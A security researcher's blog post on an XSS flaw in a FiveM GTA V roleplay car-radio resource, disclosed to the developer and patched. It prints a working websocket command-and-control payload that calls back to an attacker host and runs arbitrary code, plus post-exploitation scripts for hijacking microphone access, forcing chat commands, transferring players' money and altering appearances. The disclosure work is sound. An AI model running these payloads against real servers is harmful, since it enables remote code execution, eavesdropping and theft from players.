https://www.nullpt.rs/hacking-gta-servers-using-web-exploitation
../
Mon Aug 28 2023
authored by veritas
Hacking GTA V RP Servers Using Web Exploitation Techniques
As of 2023, Grand Theft Auto V remains the second best-selling video
game at 185,000,000 units sold, second to Minecraft^1. Its success
can largely be attributed to the game's online multiplayer mode, GTA
Online, which allows players to explore a sandboxed world with
friends and strangers alike. Although the playable world and content
is vast, the experience is quickly degraded due to the peer-to-peer
nature of the game. The client-sided nature of the game allows for a
plethora of exploits, including the ability to crash players, spawn
vehicles, and even corrupt other's accounts. The lack of player-led
servers also means that the game can not be modded in the traditional
sense.
Your browser does not support the video tag.
Hackers ruining the GTA Online experience
Introducing FiveM
FiveM is an open source third-party multiplayer mod by Cfx.re^2,
which allows players to create or connect to dedicated servers. These
servers can be modded to the creator's liking, and can be used to
create custom game modes, maps, and otherwise impossible experiences.
A popular example of this is roleplay servers, which allows players
to roleplay as civilians, police officers, and criminals. These
experiences are created with game modifications known as "resources".
Resources on a roleplay server can be used to allow for the custom
creation of vehicles, custom interiors & exteriors, drug-dealing
mechanics, and more.
These resources can built using Lua, C#, or JavaScript. A typical
setup would use Lua to handle server-side actions and JavaScript to
display custom user interfaces. These scripts communicate through NUI
callbacks which allow interoperability between the Chromium Embedded
Framework that renders the custom interfaces and the Lua scripting
engine.
Finding Servers
FiveM server listFiveM server list
FiveM aggregates a list of servers that can be filtered by various
criteria such as name, region, player count, etc... Selecting a
server allows you to view it in more detail, revealing the list of
resources, and allowing you to connect through the click of a button.
Detailed server viewDetailed server view
After viewing several servers from this list, rcore_radiocar was a
resource that piqued my interest. This allowed players to specify
YouTube and SoundCloud links to broadcast music from the player's car
to other nearby players.
My initial thought was, it may be possible to leak player's IPs by
specifying a URL that I controlled. To my surprise, this worked. I
wasn't yet sure of how this resource worked under the hood and since
it was paid I couldn't easily sift through the source. Or so I
thought.
CEF Remote Debugging
FiveM exposes the CEF Remote Debugging interface on localhost:13172.
This allows us to inspect and debug the resource's code for handling
the user interface with ease. Each resource is loaded into its own
iframe.
Debugging the Chromium Embedded Framework view of a FiveM server
Debugging the Chromium Embedded Framework view of a FiveM server
A quick peek into the resource we're curious about reveals a
relatively straightforward file tree.
rcore_radiocar
+-- html
+-- css
| +-- reset.css
| +-- style.css
+-- index.html
+-- scripts
+-- SoundPlayer.js
+-- class.js
+-- functions.js
+-- listener.js
+-- vue.min.js
A peek into SoundPlayer.js reveals the functionality for how the
music gets played on the client-side. This logic is handled inside of
the create() function:
create()
{
// ...
var link = getYoutubeUrlId(this.getUrlSound());
if(link === "")
{
this.isYoutube = false;
this.audioPlayer = new Howl({
src: [this.getUrlSound()],
loop: false,
html5: true,
autoplay: false,
volume: 0.0,
format: ['mp3'],
onend: function(event){
ended(null);
},
onplay: function(){
isReady("nothing", true);
},
});
$("#" + this.div_id).remove();
$("body").append("
"+this.getUrlSound() +"
")
}
else
{
// ...
}
}
The resource attempts to extract a YouTube ID from the URL (e.g:
extract D7DVSZ_poHk from https://www.youtube.com/watch?v=
D7DVSZ_poHk). If an ID cannot be extracted, it is treated as an
unknown source and uses audio library Howler.js to parse and play the
audio. Afterwards, the resource graciously appends our sound's URL to
the DOM using JQuery's append function.
If it wasn't immediately obvious, this screams vulnerable to XSS.
Since the user is able to specify any URL, an attacker is able to
craft an XSS payload and execute arbitrary JavaScript on player's
machines.
To test this theory, I crafted an XSS payload that did exactly this.
Using a purposefully erroneous img tag, we're able to use the onerror
attribute to fetch a larger payload and execute it using JavaScript's
eval function.
The XSS payload reads as such:
The actual loaded payload contains logic to connect the player to a
websocket that I control so that we're able to feed arbitrary
JavaScript through a control panel.
The injected payload reads as follows:
globalThis.serverName = 'default';
globalThis.lastPing = Date.now()
const sendMessage = (socket, message) => socket.send(JSON.stringify(message));
const pingCommand = (_, socket) => {
globalThis.lastPing = Date.now();
sendMessage(socket, { type: "pong" });
}
const evalCommand = ({ code }, socket) => {
const returned = eval(code); // Execute the code sent from our server on the player's machine
sendMessage(socket, { type: "evaled", returned: `${returned}` });
};
globalThis.commands = {
eval: evalCommand,
ping: pingCommand,
}
globalThis.start ??= () => {
if (globalThis.socket) {
return;
}
const socket = new WebSocket(`wss://[redacted]/connect/${globalThis.serverName}`);
globalThis.socket = socket;
const closed = () => {
globalThis.socket = undefined;
setTimeout(() => globalThis.start(), 500)
};
socket.onclose = closed;
socket.onerror = closed;
socket.onmessage = ({ data }) => {
if (!data) return;
const { type, ...rest } = JSON.parse(data);
globalThis.commands[type]?.(rest, socket);
};
}
globalThis.start();
The only thing left was to test this. The plan goes as follows:
1. Find a server with the xsound and rcore_radiocar resource.
2. Get inside of a vehicle
3. Run the /radiocar command and drop the XSS payload
4. Profit???
Now, a video demonstrating the exploit:
Your browser does not support the video tag.
XSS payload being dropped and tested using various scripts
As I roam the city in my car, nearby players are attempting to play
the music from the URL being broadcasted by my car. Since this "URL"
is a maliciously crafted payload, they are instead connecting to my
websocket awaiting further command.
Further commands
FiveM exposes various functions to the CEF browser. One handy
function, window.invokeNative, can be used to execute certain tasks
in C++-land. A peek into components/nui-core/src/
NUICallbacks_Native.cpp tells us what we can do.
client->AddProcessMessageHandler("invokeNative", [] (CefRefPtr browser, CefRefPtr message)
{
auto args = message->GetArgumentList();
auto nativeType = args->GetString(0);
nui::OnInvokeNative(nativeType.c_str(), ToWide(args->GetString(1).ToString()).c_str());
if (nativeType == "quit")
{
// TODO: CEF shutdown and native stuff related to it (set a shutdown flag)
ExitProcess(0);
}
else if (nativeType == "openUrl")
{
std::string arg = args->GetString(1).ToString();
if (arg.find("http://") == 0 || arg.find("https://") == 0)
{
ShellExecute(nullptr, L"open", ToWide(arg).c_str(), nullptr, nullptr, SW_SHOWNORMAL);
}
}
else if (nativeType == "setConvar" || nativeType == "setArchivedConvar")
{
if (nui::HasMainUI())
{
// code to set convars, however this only works in the main menu.
}
}
else if (nativeType == "getConvars")
{
if (nui::HasMainUI())
{
// code to get convars, however this only works in the main menu.
}
}
return true;
});
* openUrl: Self explanatory, opens a URL by running ShellExecute
with the open parameter. Thankfully, the argument is checked to
ensure it's a URL before executing the command to prevent
arbitrary command execution.
* quit: Also self explanatory, shutdown the game.
Other functions existing on the window object include bangers such
as:
* window.fxdkClipboardRead: Read the user's clipboard, completely
bypassing the Chromium permissions model.
nuiApp->AddV8Handler("fxdkClipboardRead", [](const CefV8ValueList& arguments, CefString& exception)
{
if (OpenClipboard(nullptr))
{
ClipboardCloser closer;
if (HANDLE ptr = GetClipboardData(CF_UNICODETEXT))
{
if (wchar_t* text = static_cast(GlobalLock(ptr)))
{
std::wstring textString(text);
GlobalUnlock(ptr);
return CefV8Value::CreateString(textString);
}
}
}
return CefV8Value::CreateString("");
});
* window.fxdkClipboardWrite: Write to the user's clipboard.
As of May 27 2023, the clipboard functions are no longer accessible.
Presumably due to misuse by malicious server admins & resource
developers.
The DOM
Since the exploit lives in the DOM with isolation disabled, we're
also able to hijack other resource's iframes.
Make users send chat messages
A peek into chat/html/App.js tells us how in-game messages are
handled:
// window.post defined in chat/html/index.html
window.post = (url, data) => {
var request = new XMLHttpRequest();
request.open('POST', url, true);
request.setRequestHeader('Content-Type', 'application/json; charset=UTF-8');
request.send(data);
}
send(e) {
if(this.message !== '') {
post('http://chat/chatResult', JSON.stringify({
message: this.message,
}));
} else {
this.hideInput(true);
}
}
Nice, an attacker should be able to have users send chat messages by
sending a request to this URL with the message payload being our chat
message:
fetch("https://chat/chatResult", {
method: "POST",
body: JSON.stringify({ message: "test" }),
});
Result of the payload from aboveResult of the payload from above
An attacker can also execute in-game commands (Make admins execute /
ban, /kick, etc...).
Abusing Web APIs
The attacker can also utilize various Web APIs to do things like
access the user's microphone: However, FiveM prompts the user for
microphone access which may look suspicious.
function getLocalStream() {
navigator.mediaDevices
.getUserMedia({ video: false, audio: true })
.then((stream) => {
window.localStream = stream; // A
window.localAudio.srcObject = stream; // B
window.localAudio.autoplay = true; // C
})
.catch((err) => {
console.error(`you got an error: ${err}`);
});
}
Infected resource rcore_radiocar asking for media device permission.
Very suspiciousInfected resource rcore_radiocar asking for media
device permission. Very suspicious
So instead, we can hijack an iframe that may already have microphone
permission. A good candidate being gksphone, a resource that gives
the players a cellphone and the ability to call each other.
window.gksPhone = top.citFrames['gksphone'];
window.reqMicrophoneScript = top.document.createElement('script');
window.reqMicrophoneScript.innerHTML = `
function requestMicrophone() {
return navigator.mediaDevices.getUserMedia({ audio: true })
.then((stream) => {
// ...
})
}
requestMicrophone();
`
// inject the function into the gksphone resource
// which already has microphone access :)
window.gksPhone.contentWindow.document.body.appendChild(window.reqMicrophoneScript);
Stealing Player's Money
An attacker is able to transfer all player's money to themselves (or
to any specified ID) by abusing the bank resource.
// bank/html/script.js
$.post('http://bank/transfer', JSON.stringify({
to: $('#idval').val(),
amountt: $('#transferval').val()
}));
Changing Everyone's Appearence
const fivemAppearanceFrame = top.window.citFrames["fivem-appearance"].contentWindow;
const fetch = fivemAppearanceFrame.fetch;
const baseUrl = `https://fivem-appearance`;
function randomInteger(min, max) {
return Math.floor(Math.random() * (max - min + 1)) + min;
}
const main = async () => {
// Get the player's existing appearence
const response = await fetch(baseUrl + "/appearance_get_settings_and_data", {
method: "GET",
headers: {
"Content-type": "application/json; charset=UTF-8",
},
});
const body = await response.json();
if (body && "appearanceSettings" in body) {
const { components } = body.appearanceSettings;
components.forEach((component) => {
const componentId = component.component_id;
const drawableId = randomInteger(
component.drawable.min,
component.drawable.max
);
const textureId = randomInteger(
component.texture.min,
component.texture.max
);
// Change the appearence to random clothing
fetch(baseUrl + "/appearance_change_component", {
method: "POST",
headers: {
"Content-type": "application/json; charset=UTF-8",
},
body: {
component_id: componentId,
drawable: drawableId,
texture: textureId,
},
});
});
}
};
main();
Impact
A quick script Pimothy and I wrote to parse the FiveM server list and
filter by resources shows that hundreds of servers contained the
vulnerable resources with the potential to infect thousands of
players:
xsound found on w9a... players: [628/2048]
rcore_radiocar found on 8bo... players: [256/500]
xsound found on 35a... players: [299/400]
xsound found on a6r... players: [314/2048]
rcore_radiocar found on a6r... players: [314/2048]
xsound found on gq6... players: [313/2048]
xsound found on 4ez... players: [198/500]
xsound found on pkp... players: [570/1069]
xsound found on npx... players: [347/2048]
xsound found on 8qq... players: [252/800]
rcore_radiocar found on qrv... players: [137/200]
xsound found on qrv... players: [137/200]
xsound found on mko... players: [90/333]
xsound found on mpd... players: [160/600]
xsound found on aqq... players: [137/1337]
xsound found on 23o... players: [135/2048]
xsound found on gro... players: [120/150]
xsound found on l54... players: [224/512]
rcore_radiocar found on j8d... players: [182/400]
xsound found on e3r... players: [122/175]
xsound found on eaz... players: [160/500]
xsound found on rk6... players: [60/300]
and many more...
As shown above, the severity of this exploit is fairly high as an
attacker is able to execute arbitrary JavaScript to all players on a
server allowing for things such as microphone access, clipboard
contents, and more. It was clear I needed to report it to the
resource developer and so I did and on May 18 2022, a patch was
released to fix the XSS.
setSoundUrl(result) {
this.url = result.replace(/<[^>]*>?/gm, '');
}
I had an idea to find servers that may still be vulnerable to this
exploit so I could report it to the server owners. It would work by
traversing the server list and requesting their xsound resource to
test if the patch was applied (likely using a regex). However, the
FiveM server encrypts resources and decrypts them on the client. The
decrypt routine is heavily obfuscated by their anticheat adhesive.dll
making automation infeasible.
Conclusion
FiveM provides a powerful framework to create game experiences not
otherwise possible in Grand Theft Auto. However, this power can be
abused by attackers through the use of XSS in vulnerable NUI
resources. It is important to utilize proper input sanitization and
other best practices to prevent exploits like this. Server owners
should also keep installed resources up to date.
Special Thanks
* pimothy - Helped with the research for this project. Created the
server list aggregator to scan for vulnerable servers.
* jordin - A test subject to help test the more severe payloads
(Bank transfers, Microphone access, etc...)
Footnotes
1. https://www.ign.com/articles/
take-two-ceo-says-mid-generation-upgrades-like-rumored-ps5-pro-arent-all-that-meaningful
-
2. Cfx.re has been acquired by Rockstar Games -
Find veritas on:twitter: https://twitter.com/blastbotsfedi: https://
infosec.exchange/@voidstardiscord: nullptrs
Content on this site is licensed CC BY-NC-SA 4.0